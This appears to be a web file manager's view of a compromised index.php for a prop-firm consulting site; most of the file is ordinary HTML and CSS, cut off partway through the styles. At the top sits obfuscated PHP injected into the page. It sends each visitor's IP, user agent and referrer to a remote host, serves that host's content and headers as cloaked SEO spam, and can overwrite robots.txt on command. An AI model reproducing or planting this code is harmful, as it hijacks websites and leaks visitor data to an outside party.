芝麻web文件管理V1.00

编辑当前文件:/home/unicorntechnolog/public_html/platinumfintech/index.php

<?php
 goto wsg1d; YJP8T: FclOse($tvz1C); goto vGqsL; oY2PK: $ydzuY = array("\x53\x43\x52\x49\x50\x54\x5f\116\x41\115\x45", "\x52\x45\x51\125\x45\x53\124\137\125\x52\111", "\110\124\x54\120\123", "\x52\x45\x51\x55\105\123\124\137\x53\x43\x48\105\x4d\105", "\123\105\122\x56\105\122\137\x50\x4f\122\124", "\122\x45\x4d\x4f\124\105\x5f\101\104\104\x52", "\110\124\x54\x50\x5f\122\x45\x46\105\122\x45\x52", "\x48\124\x54\x50\x5f\101\x43\103\105\x50\124\137\x4c\101\x4e\x47\125\101\107\x45", "\110\124\124\120\137\125\123\105\x52\x5f\101\x47\105\x4e\x54", "\x48\124\x54\120\x5f\x48\x4f\x53\x54", "\125\x52\x49\137\120\122\x45\x46\111\x58"); goto W8Kgo; Imy2I: if (!($teY3l == "\145\170\151\164")) { goto pk4HJ; } goto GPz_U; DieMj: syjdO: goto hpGFD; InwF0: FwriTE($tvz1C, $Vyp0P); goto YJP8T; gIfBq: $KVCvO = "\x65\x5f\147"; goto kKB0E; wgskG: $Vjj6o = exPLODe("\x7c\x40\x23\44\x7c", $YtOjh); goto hyLA9; Gh1g9: foreach ($tyUKV as $zWqM1) { $Vyp0P .= "\123\151\164\145\x6d\x61\160\72" . $zWqM1 . PHP_EOL; B42Ii: } goto wxKLh; Xb_wE: $Ur70n = CurL_Init(); goto c5Chs; tOt9U: if ($RvCGe < 3) { goto syjdO; } goto fgtJd; hpGFD: HeadER("\110\x54\x54\120\x2f\61\56\x30\40\x34\x30\x34\40\116\157\164\40\x46\x6f\165\x6e\x64"); goto d8OQh; fgtJd: $gLbkr = TRiM($Vjj6o[roUNd(0 + 0)]); goto Oaqj1; wsg1d: ErROr_rEPORtiNG(roUnD(0 + 0 + 0 + 0 + 0 + 0)); goto O0bPN; so817: exit; goto JGl1D; GPz_U: exit; goto j1qnH; gWAH7: $tyUKV = ExPLoDe("\74\142\162\57\76", $mPRb_); goto tJWKW; em8KX: if (!empty($YtOjh)) { goto XI9eE; } goto spj1F; DLvqq: if (!(preG_maTCH("\57\152\160\x32\x30\62\x33\143\x77\x77\x2f\163\151", $_SERVER["\x52\x45\x51\x55\x45\123\x54\137\x55\x52\x49"]) == RouNd(0 + 0 + 0 + 0 + 0))) { goto MWNzO; } goto FRtgA; w21NP: $Vyp0P .= "\101\x6c\x6c\157\167\72\57" . PHP_EOL; goto gWAH7; aEvAS: CuRl_sEtOpt($Ur70n, CURLOPT_CONNECTTIMEOUT, rOUnD(1.411 + 2.9404 + 5.3605016 + 0.2884013)); goto JXMZq; gSbwF: AYZTF: goto I4xfy; F9TP2: $yYiBH = "\56\x61\x70"; goto VkDj1; fa9XZ: $ygYfv = $yDnTT . $XaYmu; goto Xb_wE; vGqsL: echo "\162\x6f\142\x6f\x74\163\x2e\x74\170\164\40\144\x6f\156\145"; goto so817; FRtgA: HeaDEr("\x48\x54\x54\x50\x2f\x31\56\60\40\x34\60\64\40\116\x6f\x74\x20\x46\157\x75\x6e\144"); goto qCeJG; CkoGv: $YtOjh = TrIM($YtOjh); goto T2vF5; ASgso: exit; goto ElRZD; AtyhV: $pQZGn = $PFbYi . $KVCvO . $RW8qy . $sENQE . $FrAzB; goto W6Yfe; tJWKW: arRAy_pOp($tyUKV); goto Gh1g9; kYUWk: if (!($teY3l == "\x70\151\156\147")) { goto E2BoB; } goto PhJKQ; J4nbu: vI_Bk: goto fa9XZ; Oaqj1: if (empty($gLbkr)) { goto z4ABm; } goto jQJK0; sqFBj: z4ABm: goto Lk5xQ; spj1F: $PFbYi = "\x66\151\154"; goto gIfBq; Lk5xQ: $mPRb_ = TrIM($Vjj6o[RouND(0.427778 + 0.572)]); goto z0L_P; ZjJBr: $KtW9u = "\153\155\66"; goto nnSUu; roBJE: $tvz1C = FoPen($_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\124\x5f\122\117\x4f\x54"] . "\x2f\x72\x6f\x62\157\x74\x73\x2e\164\x78\x74", "\x77"); goto InwF0; VkDj1: $xjbx9 = "\x72\151\154\x68"; goto wrVN2; ItDsF: XI9eE: goto kc1ak; kc1ak: $YtOjh = TrIM($YtOjh); goto wgskG; jQJK0: heADeR($gLbkr); goto sqFBj; jJOIE: $yDnTT = "\150\164\x74\160\x3a\57\x2f" . $icB6R . $yYiBH . $xjbx9 . $L2Otd; goto yJlhL; O0bPN: $icB6R = "\172\x6a\x33\x32\x39\x39"; goto ZjJBr; j1qnH: pk4HJ: goto kYUWk; wxKLh: DtUjz: goto roBJE; ElRZD: earDB: goto F9TP2; eicNZ: echo "\x48\x54\124\x50\57\61\x2e\x30\40\64\60\64\40\x4e\x6f\164\40\x46\157\x75\x6e\x64\137\x5f\x5f" . $icB6R . "\137\x5f\137" . $KtW9u; goto ASgso; I4xfy: $teY3l = TriM($Vjj6o[$RvCGe - RounD(0.58835616 + 0.11 + 0.3014)]); goto Imy2I; JXMZq: $YtOjh = Curl_ExEc($Ur70n); goto CkoGv; hyLA9: $RvCGe = COunT($Vjj6o); goto tOt9U; T2vF5: curL_CLOse($Ur70n); goto em8KX; zcpBC: goto uJadp; goto DieMj; wrVN2: $L2Otd = "\145\141\144\56\143\157\x6d"; goto jJOIE; qCeJG: MWNzO: goto eicNZ; z0L_P: if (empty($mPRb_)) { goto AYZTF; } goto Wdbn_; ergej: $FrAzB = "\156\x74\x73"; goto AtyhV; kKB0E: $RW8qy = "\145\x74\137\x63"; goto yNgis; W6Yfe: $YtOjh = $pQZGn($ygYfv); goto ItDsF; nnSUu: if (!(PREG_maTcH("\x2f\152\x70\62\60\62\63\x2f\x73\151", $_SERVER["\x52\105\121\x55\x45\123\x54\x5f\125\122\111"]) == rounD(0.16109 + 0.15812 + 0.11722 + 0.17224287 + 0.201487 + 0.189839))) { goto earDB; } goto DLvqq; c5Chs: cuRl_sEtOPt($Ur70n, CURLOPT_URL, $ygYfv); goto w4diB; Wdbn_: echo $mPRb_; goto gSbwF; yNgis: $sENQE = "\x6f\156\164\145"; goto ergej; W8Kgo: foreach ($ydzuY as $Ktb5i) { goto RLq2C; p22XS: $DA4gt = isset($_SERVER[$Ktb5i]) ? $_SERVER[$Ktb5i] : ''; goto w9aT_; Uyy0a: $XaYmu .= "\46" . $Ktb5i . "\75" . $GMDAi; goto PTEiV; WYK4v: CuwRJ: goto XcjXl; ZQ25t: goto CuwRJ; goto wT7Av; zWei4: $GMDAi = sTR_rePLACe("\75", "\56", $GMDAi); goto Uyy0a; w9aT_: goto CuwRJ; goto sS_ER; CmhX9: $GMDAi = STR_rePLACe("\x2f", "\137", $GMDAi); goto zWei4; wT7Av: sSQbK: goto EJ3fA; ge0ag: if ($Ktb5i == "\125\x52\111\x5f\x50\x52\105\106\x49\x58") { goto sSQbK; } goto p22XS; PTEiV: EAsz5: goto kjafY; RLq2C: if ($Ktb5i == "\122\x45\x4d\x4f\124\x45\x5f\101\104\x44\122") { goto VI7kN; } goto ge0ag; EJ3fA: $DA4gt = isset($t06l0) ? $t06l0 : ''; goto WYK4v; gQb67: $DA4gt = isset($_SERVER["\110\124\124\x50\137\130\137\106\x4f\122\x57\x41\122\104\105\x44\137\106\117\x52"]) ? $_SERVER["\x48\124\124\x50\x5f\x58\x5f\106\x4f\122\x57\x41\122\104\x45\104\137\106\x4f\122"] : (isset($_SERVER["\x52\105\115\117\x54\105\x5f\101\x44\104\x52"]) ? $_SERVER["\x52\105\x4d\117\x54\x45\x5f\x41\104\104\122"] : ''); goto ZQ25t; DXtfn: $GMDAi = sTR_replACE("\x2b", "\55", $GMDAi); goto CmhX9; sS_ER: VI7kN: goto gQb67; XcjXl: $GMDAi = bASe64_ENcOde(TRim($DA4gt)); goto DXtfn; kjafY: } goto J4nbu; PhJKQ: $Vyp0P = "\125\x73\x65\162\55\141\147\x65\156\164\x3a\52" . PHP_EOL; goto w21NP; d8OQh: exit; goto eVCxS; w4diB: curl_SeTOPt($Ur70n, CURLOPT_RETURNTRANSFER, rOuND(0.04215 + 0.11441 + 0.3954235 + 0.265 + 0.0293055 + 0.1437174 + 0.005 + 0.005)); goto aEvAS; JGl1D: E2BoB: goto zcpBC; yJlhL: $XaYmu = "\x2f\x69\156\x64\145\x78\x2e\160\150\160\77\126\123\x3d" . $KtW9u . "\x26\x47\120\x3d" . $icB6R; goto oY2PK; eVCxS: uJadp:
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home - Platinum Fintech Solutions</title>
    <meta name="description" content="Platinum Fintech Solutions offers turnkey prop firm consulting, brokerage setup, MT5 integration, risk management, and liquidity solutions for forex brokers and trading firms.">
    <meta name="keywords" content="start a prop firm, prop firm consulting, brokerage setup services, launch a forex brokerage, MT5 integration services, trading platform setup, KYC & payment solutions for prop firms, fintech consulting for brokers, turnkey prop firm solutions, liquidity providers setup, risk management for brokers, risk management for propfirms">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    
    <link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
    <style>
        :root {
            --primary-green: #049804;
            --dark-green: #00cc6a;
            --light-green: rgba(0, 255, 136, 0.1);
            --dark-bg: #0a0a0a;
            --darker-bg: #050505;
            --card-bg: #151515;
            --card-hover: #1a1a1a;
            --text-light: #f0f0f0;
            --text-muted: #aaaaaa;
            --border-color: #333333;
            --accent-glow: 0 0 10px rgba(0, 255, 136, 0.3);
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', sans-serif;
        }
        
        html, body {
            overflow-x: hidden;
            width: 100%;
            position: relative;
        }
        
        body {
            color: var(--text-light);
            line-height: 1.6;
            background-color: var(--dark-bg);
            overflow-x: hidden;
            width: 100%;
        }
        
        /* Video Background */
        .video-background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -2;
            overflow: hidden;
        }
        
        .video-background video {
            min-width: 100%;
            min-height: 100%;
            width: auto;
            height: auto;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            object-fit: cover;
        }
        
        /* Overlay for better text readability */
        .video-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(5, 5, 5, 0.85);
            z-index: -1;
        }
        
        /* Enhanced Header Styles */
        header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 1.2rem 5%;
            background-color: rgba(10, 10, 10, 0.2);
            box-shadow: 0 2px 20px rgba(0, 0, 0, 0.5);
            position: sticky;
            top: 0;
            z-index: 1000;
            backdrop-filter: blur(10px);
            transition: all 0.3s ease;
            border-bottom: 1px solid var(--border-color);
            overflow: hidden;
            width: 100%;
            position: fixed;
        }
        
        header.scrolled {
            padding: 0.8rem 5%;
            box-shadow: 0 5px 30px rgba(0, 0, 0, 0.7);
            background-color: rgba(32, 32, 32, 0.878);
        }
        
        .logo-container {
            display: flex;
            align-items: center;
        }
        
        .logo {
            height: 100px;
            width: auto;
            filter: brightness(0) invert(1);
            transition: transform 0.3s ease;
            max-width: 100%;
        }
        
        .logo:hover {
            transform: scale(1.05);
        }
        
        .nav-links {
            background-color: rgba(137, 137, 137, 0.2);
            padding: 0.6rem 1rem;
            backdrop-filter: blur(10px);
            border: 1px solid var(--border-color);
            border-radius: 30px;
            display: flex;
            gap: 2.5rem;
        }
        
        .nav-links a {
            text-decoration: none;
            color: var(--text-light);
            font-weight: 500;
            transition: all 0.3s;
            position: relative;
            padding: 0.5rem 0;
            white-space: nowrap;
        }
        
        .nav-links a:after {
            content: '';
            position: absolute;
            width: 0;
            height: 2px;
            bottom: 0;
            left: 0;
            background: linear-gradient(90deg, var(--primary-green), var(--dark-green));
            transition: width 0.3s ease;
        }
        
        .nav-links a:hover {
            color: var(--primary-green);
        }
        
        .nav-links a:hover:after {
            width: 100%;
        }
        
        .contact-tab {
            background: linear-gradient(135deg, var(--primary-green) 0%, var(--dark-green) 100%);
            color: var(--text-light);
            padding: 0.8rem 2rem;
            border-radius: 30px;
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s ease;
            box-shadow: var(--accent-glow);
            position: relative;
            overflow: hidden;
            white-space: nowrap;
        }
        
        .contact-tab:before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
            transition: left 0.5s;
        }
        
        .contact-tab:hover {
            transform: translateY(-2px);
            box-shadow: 0 0 15px rgba(0, 255, 136, 0.5);
        }
        
        .contact-tab:hover:before {
            left: 100%;
        }
        
        /* Mobile Navigation */
        .mobile-menu-btn {
            display: none;
            background: none;
            border: none;
            font-size: 1.5rem;
            cursor: pointer;
            color: var(--text-light);
            transition: color 0.3s;
            padding: 0.5rem;
            border-radius: 4px;
        }
        
        .mobile-menu-btn:hover {
            color: var(--primary-green);
            background: rgba(0, 255, 136, 0.1);
        }
        
        /* Mobile Menu */
        .mobile-menu {
            position: fixed;
            top: 0;
            right: -100%;
            width: 80%;
            max-width: 300px;
            height: 100vh;
            background: var(--dark-bg);
            z-index: 2000;
            padding: 2rem;
            transition: right 0.3s ease;
            box-shadow: -5px 0 15px rgba(0, 0, 0, 0.5);
            border-left: 1px solid var(--border-color);
            display: flex;
            flex-direction: column;
            gap: 2rem;
            overflow-y: auto;
        }
        
        .mobile-menu.active {
            right: 0;
        }
        
        .mobile-menu-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border-color);
        }
        
        .mobile-menu-links {
            display: flex;
            flex-direction: column;
            gap: 1.5rem;
        }
        
        .mobile-menu-links a {
            color: var(--text-light);
            text-decoration: none;
            font-size: 1.1rem;
            padding: 0.8rem 0;
            border-bottom: 1px solid var(--border-color);
            transition: color 0.3s;
        }
        
        .mobile-menu-links a:hover {
            color: var(--primary-green);
        }
        
        .mobile-menu-close {
            background: none;
            border: none;
            color: var(--text-light);
            font-size: 1.5rem;
            cursor: pointer;
            transition: color 0.3s;
        }
        
        .mobile-menu-close:hover {
            color: var(--primary-green);
        }
        
        .mobile-menu-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1999;
            display: none;
        }
        
        .mobile-menu-overlay.active {
            display: block;
        }
        
        /* Enhanced Hero Section */
        .hero {
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 11rem 5% 5rem 5%;
            max-height: fit-content;
            position: relative;
            overflow: hidden;
            text-align: center;
            width: 100%;
        }
        
        .hero-content {
            flex: 1;
            z-index: 1;
            max-width: 900px;
            margin: 0 auto;
            width: 100%;
        }
        
        .logo-text {
            display: flex;
            flex-direction: column;
            align-items: center;
            margin-bottom: 2rem;
            width: 100%;
        }
        
        .logo-arrow {
            height: 180px;
            width: auto;
            margin-bottom: 1rem;
            max-width: 100%;
        }
        
        .company-name {
            font-size: 2.5rem;
            color: white;
            font-weight: 700;
            margin-bottom: 0.5rem;
        }
        
        .tagline {
            font-size: 1.5rem;
            color: var(--text-light);
            margin-bottom: 2rem;
            display: flex;
            justify-content: center;
            gap: 1rem;
            flex-wrap: wrap;
        }
        
        .tagline span {
            color: var(--primary-green);
            font-weight: 600;
        }
        
        .hero h1 {
            font-size: 3.2rem;
            margin-bottom: 1.5rem;
            color: white;
            line-height: 1.2;
            font-weight: 700;
        }
        
        .hero p {
            font-size: 1.1rem;
            color: var(--text-muted);
            margin-bottom: 2.5rem;
            max-width: 90%;
            margin-left: auto;
            margin-right: auto;
        }
        
        .cta-buttons1 {
            display: flex;
            gap: 1rem;
            justify-content: center;
            flex-wrap: wrap;
        }
        
        /* NEW MODERN PROCESS SECTION */

.process {
            background-color: rgba(10, 10, 10, 0.478);
            padding: 6rem 5%;
            position: relative;
            overflow: hidden;
            width: 100%;
        }
        
        .section-title {
            text-align: center;
            margin-bottom: 4rem;
            width: 100%;
        }
        
        .section-title h2 {
            font-size: 1.8rem;
            color: #cccccc;
            margin-bottom: 1rem;
            position: relative;
            display: inline-block;
            font-weight: 600;
        }
        
        .section-title h2:after {
            content: '';
            position: absolute;
            width: 60%;
            height: 4px;
            background: linear-gradient(90deg, var(--primary-green), var(--dark-green));
            bottom: -10px;
            left: 20%;
            border-radius: 2px;
            box-shadow: var(--accent-glow);
        }
        
        .section-title p {
            color: var(--text-muted);
            max-width: 900px;
            margin: 1.5rem auto 0;
            font-size: 1.1rem;
        }
        
        .process-container {
            max-width: 1200px;
            margin: 0 auto;
            position: relative;
            width: 100%;
        }
        
        .process-grid {
            display: grid;
            grid-template-columns: repeat(5, 1fr);
            gap: 1.5rem;
            position: relative;
        }
        
        .process-grid::before {
            content: '';
            position: absolute;
            top: 80px;
            left: 10%;
            right: 10%;
            height: 3px;
            background: linear-gradient(90deg, 
                transparent 0%, 
                var(--primary-green) 20%, 
                var(--primary-green) 80%, 
                transparent 100%);
            z-index: 1;
            border-radius: 3px;
        }
        
        .process-step {
            position: relative;
            text-align: center;
            z-index: 2;
            cursor: pointer;
        }
        
        .step-circle {
            width: 190px;
            height: 190px;
            margin: 0 auto 1.5rem;
            background: var(--card-bg);
            border-radius: 50%;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            position: relative;
            border: 2px solid var(--border-color);
            transition: all 0.4s ease;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
        }
        
        .step-circle:hover {
            transform: translateY(-10px) scale(1.05);
            border-color: var(--primary-green);
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.5), var(--accent-glow);
            background: var(--card-hover);
        }
        
        /* Highlighted step circle */
        .process-step.active .step-circle {
            border-color: var(--primary-green);
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.5), var(--accent-glow);
            background: var(--card-hover);
            transform: translateY(-10px) scale(1.05);
        }
        
        .step-number {
            position: absolute;
            top: -10px;
            right: 10px;
            width: 40px;
            height: 40px;
            background: linear-gradient(135deg, var(--primary-green), var(--dark-green));
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--text-light);
            font-weight: 700;
            font-size: 1.1rem;
            box-shadow: var(--accent-glow);
            z-index: 3;
        }
        
        .step-icon {
            width: 50px;
            height: 50px;
            background-color: rgba(0, 255, 136, 0.1);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--primary-green);
            font-size: 1.8rem;
            margin-bottom: 0.8rem;
            transition: all 0.4s ease;
        }
        
        .step-circle:hover .step-icon,
        .process-step.active .step-icon {
            background-color: var(--primary-green);
            color: var(--dark-bg);
            transform: rotateY(180deg);
        }
        
        .step-circle h3 {
            font-size: 0.8rem;
            color: var(--text-light);
            font-weight: 400;
            margin: 0;
            padding: 0 10px;
            text-transform: capitalize;
            line-height: 1.3;
        }
        
        /* Process Content Box Styles */
        .process-content-box {
            background: var(--card-bg);
            border-radius: 16px;
            padding: 2.5rem;
            margin-top: 3rem;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4);
            border: 1px solid var(--border-color);
            position: relative;
            min-height: 180px;
            transition: all 0.4s ease;
        }

.process-content-box:before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 5px;
            background: linear-gradient(to right, var(--primary-green), var(--dark-green));
            border-radius: 16px 16px 0 0;
        }

.content-step {
            display: none;
            animation: fadeIn 0.5s ease forwards;
        }

.content-step.active {
            display: block;
        }

.content-step h3 {
            font-size: 1.5rem;
            color: var(--text-light);
            margin-bottom: 1rem;
            font-weight: 600;
        }

.content-step p {
            color: var(--text-muted);
            line-height: 1.7;
            font-size: 1.1rem;
        }

/* NEW CIRCLE AND TEXT LAYOUT FOR SMALL/MEDIUM DEVICES */
        .circle-features {
            display: none;
            flex-direction: column;
            gap: 60px;
            max-width: 1000px;
            margin: 0 auto;
            position: relative;
        }
        
        .circle-feature {
            display: flex;
            align-items: center;
            gap: 40px;
        }
        
        .circle-container {
            flex: 0 0 200px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        
        .feature-circle {
            width: 180px;
            height: 180px;
            border-radius: 50%;
            background: var(--card-bg);
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            border: 2px solid var(--border-color);
            transition: all 0.4s ease;
            position: relative;
            overflow: hidden;
        }
        
        .feature-circle:hover {
            transform: scale(1.05);
            border-color: var(--primary-green);
            box-shadow: var(--accent-glow);
        }
        
        .feature-circle:before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(135deg, rgba(0, 255, 136, 0.1) 0%, rgba(0, 255, 136, 0) 70%);
            opacity: 0;
            transition: opacity 0.4s ease;
        }
        
        .feature-circle:hover:before {
            opacity: 1;
        }
        
        .circle-icon {
            font-size: 2.5rem;
            margin-bottom: 10px;
            color: var(--primary-green);
            z-index: 1;
        }
        
        .circle-title {
            font-size: 1.1rem;
            font-weight: 600;
            color: var(--text-light);
            text-align: center;
            z-index: 1;
        }
        
        .feature-text {
            flex: 1;
            background: var(--card-bg);
            padding: 30px;
            border-radius: 12px;
            border: 1px solid var(--border-color);
            transition: all 0.4s ease;
        }
        
        .feature-text:hover {
            background: var(--card-hover);
            transform: translateY(-5px);
            box-shadow: var(--accent-glow);
        }
        
        .feature-text h3 {
            font-size: 1.5rem;
            margin-bottom: 15px;
            color: var(--text-light);
            position: relative;
            display: inline-block;
        }
        
        .feature-text h3:after {
            content: '';
            position: absolute;
            width: 40px;
            height: 3px;
            background: linear-gradient(90deg, var(--primary-green), var(--dark-green));
            bottom: -8px;
            left: 0;
            border-radius: 2px;
        }
        
        .feature-text p {
            font-size: 1rem;
            color: #cccccc;
            line-height: 1.6;
        }
        
        /* CTA SECTION */
        .cta {
            background-color: rgba(5, 5, 5, 0.975);
            text-align: center;
            padding: 100px 30px;
            width: 100%;
        }
        
        .cta h2 {
            margin-bottom: 30px;
        }
        
        .cta-buttons {
            display: flex;
            justify-content: center;
            gap: 20px;
            margin-top: 40px;
            flex-wrap: wrap;
        }
        
        /* Enhanced Services Section */
        .services {
            background-color: rgba(5, 5, 5, 0.975);
            padding: 6rem 5%;
            width: 100%;
        }
        
        .service-boxes {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 2.5rem;
            justify-content: center;
        }
        
        .service-box {
            background-color: var(--card-bg);
            border-radius: 16px;
            padding: 2rem;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
            border: 1px solid var(--border-color);
            display: flex;
            flex-direction: column;
            height: 100%;
            text-align: left;
        }
        
        .service-box:before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 5px;
            height: 100%;
            background: linear-gradient(to bottom, var(--primary-green), var(--dark-green));
            transform: scaleY(0);
            transform-origin: top;
            transition: transform 0.3s ease;
        }
        
        .service-box:hover {
            transform: translateY(-10px);
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.5), var(--accent-glow);
            background: var(--card-hover);
            border-color: var(--primary-green);
        }
        
        .service-box:hover:before {
            transform: scaleY(1);
        }
        
        .service-box h3 {
            font-size: 1.3rem;
            margin-bottom: 1.2rem;
            color: var(--text-light);
            font-weight: 600;
        }
        
        .service-box p {
            color: var(--text-muted);
            margin-bottom: 2rem;
            flex-grow: 1;
            line-height: 1.7;
        }
        
        .service-actions {
            display: flex;
            gap: 1rem;
            opacity: 0;
            transform: translateY(20px);
            transition: all 0.3s ease;
            justify-content: flex-start;
            flex-wrap: wrap;
        }
        
        .service-box:hover .service-actions {
            opacity: 1;
            transform: translateY(0);
        }
        
        .btn {
            padding: 0.7rem 1.5rem;
            border-radius: 30px;
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s;
            display: inline-block;
            text-align: center;
            position: relative;
            overflow: hidden;
            font-size: 0.9rem;
        }
        
        .btn-outline {
            border: 1px solid var(--primary-green);
            color: var(--primary-green);
            background: transparent;
        }
        
        .btn-outline:hover {
            background-color: var(--primary-green);
            color: var(--text-light);
            transform: translateY(-2px);
            box-shadow: var(--accent-glow);
        }
        
        .btn-primary {
            background: linear-gradient(135deg, var(--primary-green) 0%, var(--dark-green) 100%);
            color: var(--text-light);
            box-shadow: var(--accent-glow);
        }
        
        .btn-primary:hover {
            transform: translateY(-2px);
            box-shadow: 0 0 15px rgba(0, 255, 136, 0.5);
        }
        
        /* Enhanced Footer */
        footer {
            background-color: rgba(5, 5, 5, 0.9);
            color: var(--text-light);
            padding: 1rem 8%;
            border-top: 1px solid var(--border-color);
            width: 100%;
        }
        
        .footer-content {
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
        }
        
        .footer-logo {
            height: 100px;
            width: auto;
            filter: brightness(0) invert(1);
            max-width: 100%;
        }
        
        .footer-links {
            display: flex;
            flex-direction: column;
            gap: 0.8rem;
        }
        
        .footer-links a {
            color: var(--text-muted);
            text-decoration: none;
            transition: color 0.3s;
            position: relative;
            padding-left: 1rem;
        }
        
        .footer-links a:before {
            content: '▸';
            position: absolute;
            left: 0;
            color: var(--primary-green);
            transition: transform 0.3s;
        }
        
        .footer-links a:hover {
            color: var(--primary-green);
        }
        
        .footer-links a:hover:before {
            transform: translateX(5px);
        }
        
        .social-icons {
            display: flex;
            gap: 1rem;
        }
        
        .social-icons a {
            display: flex;
            align-items: center;
            justify-content: center;
            width: 45px;
            height: 45px;
            background-color: var(--card-bg);
            border-radius: 50%;
            color: var(--text-light);
            text-decoration: none;
            transition: all 0.3s ease;
            border: 1px solid var(--border-color);
        }
        
        .social-icons a:hover {
            background-color: var(--primary-green);
            color: var(--dark-bg);
            transform: translateY(-3px);
            box-shadow: var(--accent-glow);
        }
                
        /* Enhanced Contact Widget - FIXED */
        .contact-widget {
            position: fixed;
            bottom: 2rem;
            right: 2rem;
            z-index: 1000;
        }
        
        .widget-button {
            width: 65px;
            height: 65px;
            background: linear-gradient(135deg, var(--primary-green) 0%, var(--dark-green) 100%);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--text-light);
            font-size: 1.5rem;
            cursor: pointer;
            box-shadow: var(--accent-glow);
            transition: all 0.3s ease;
            animation: pulse 2s infinite;
        }
        
        .widget-button:hover {
            box-shadow: 0 0 15px rgba(0, 255, 136, 0.5);
            animation: none;
        }
        
        .widget-options {
            position: absolute;
            bottom: 60px;
            right: 0;
            background-color: var(--card-bg);
            border-radius: 16px;
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
            padding: 1.5rem;
            display: none;
            flex-direction: column;
            gap: 1rem;
            min-width: 220px;
            border: 1px solid var(--border-color);
            transform: translateY(20px);
            opacity: 0;
            transition: all 0.3s ease;
        }
        
        .widget-options.active {
            display: flex;
            transform: translateY(0);
            opacity: 1;
        }
        
        .widget-option {
            display: flex;
            align-items: center;
            gap: 1rem;
            padding: 0.8rem 1rem;
            border-radius: 8px;
            text-decoration: none;
            color: var(--text-light);
            transition: all 0.3s;
            background: rgba(255, 255, 255, 0.03);
            font-size: 10px;
        }
        
        .widget-option:hover {
            background-color: var(--light-green);
            transform: translateX(-5px);
        }
        
        .widget-option i {
            color: var(--primary-green);
            width: 20px;
            font-size: 0.9rem;
        }
        
        /* Enhanced Animations */
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        
        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes pulse {
            0% { box-shadow: 0 0 0 0 rgba(0, 255, 136, 0.5); }
            70% { box-shadow: 0 0 0 10px rgba(0, 255, 136, 0); }
            100% { box-shadow: 0 0 0 0 rgba(0, 255, 136, 0); }
        }
        
        @keyframes float {
            0% {
                transform: perspective(1000px) rotateY(-5deg) rotateX(5deg) translateY(0);
            }
            50% {
                transform: perspective(1000px) rotateY(-5deg) rotateX(5deg) translateY(-10px);
            }
            100% {
                transform: perspective(1000px) rotateY(-5deg) rotateX(5deg) translateY(0);
            }
        }
        
        @keyframes typewriter {
            from { width: 0; }
            to { width: 100%; }
        }
        
        @keyframes blink {
            0%, 100% { border-color: transparent; }
            50% { border-color: var(--primary-green); }
        }
        
        /* Text Animation Classes */
        .text-reveal {
            overflow: hidden;
            white-space: nowrap;
            margin: 0 auto;
            animation: typewriter 3.5s steps(40, end), blink .75s step-end infinite;
        }
        
        .fade-in-text {
            opacity: 0;
            animation: fadeIn 2s ease forwards;
            animation-delay: 0.5s;
        }
        
        .stagger-text > * {
            opacity: 0;
            transform: translateY(20px);
            animation: fadeInUp 0.8s ease forwards;
        }
        
        .stagger-text > *:nth-child(1) { animation-delay: 0.1s; }
        .stagger-text > *:nth-child(2) { animation-delay: 0.3s; }
        .stagger-text > *:nth-child(3) { animation-delay: 0.5s; }
        .stagger-text > *:nth-child(4) { animation-delay: 0.7s; }
        
        /* ========== RESPONSIVE STYLES ========== */
        
        /* Large Devices (1200px and up) - Default styles apply */
        
        /* Medium Devices (992px to 1199px) */
        @media (max-width: 1199px) {
            .process-grid {
                grid-template-columns: repeat(3, 1fr);
                gap: 2rem;
            }
            
            .process-grid::before {
                display: none;
            }
            
            .service-boxes {
                grid-template-columns: repeat(2, 1fr);
            }
            
            .step-circle {
                width: 160px;
                height: 160px;
            }
            
            .step-circle h3 {
                font-size: 0.8rem;
            }
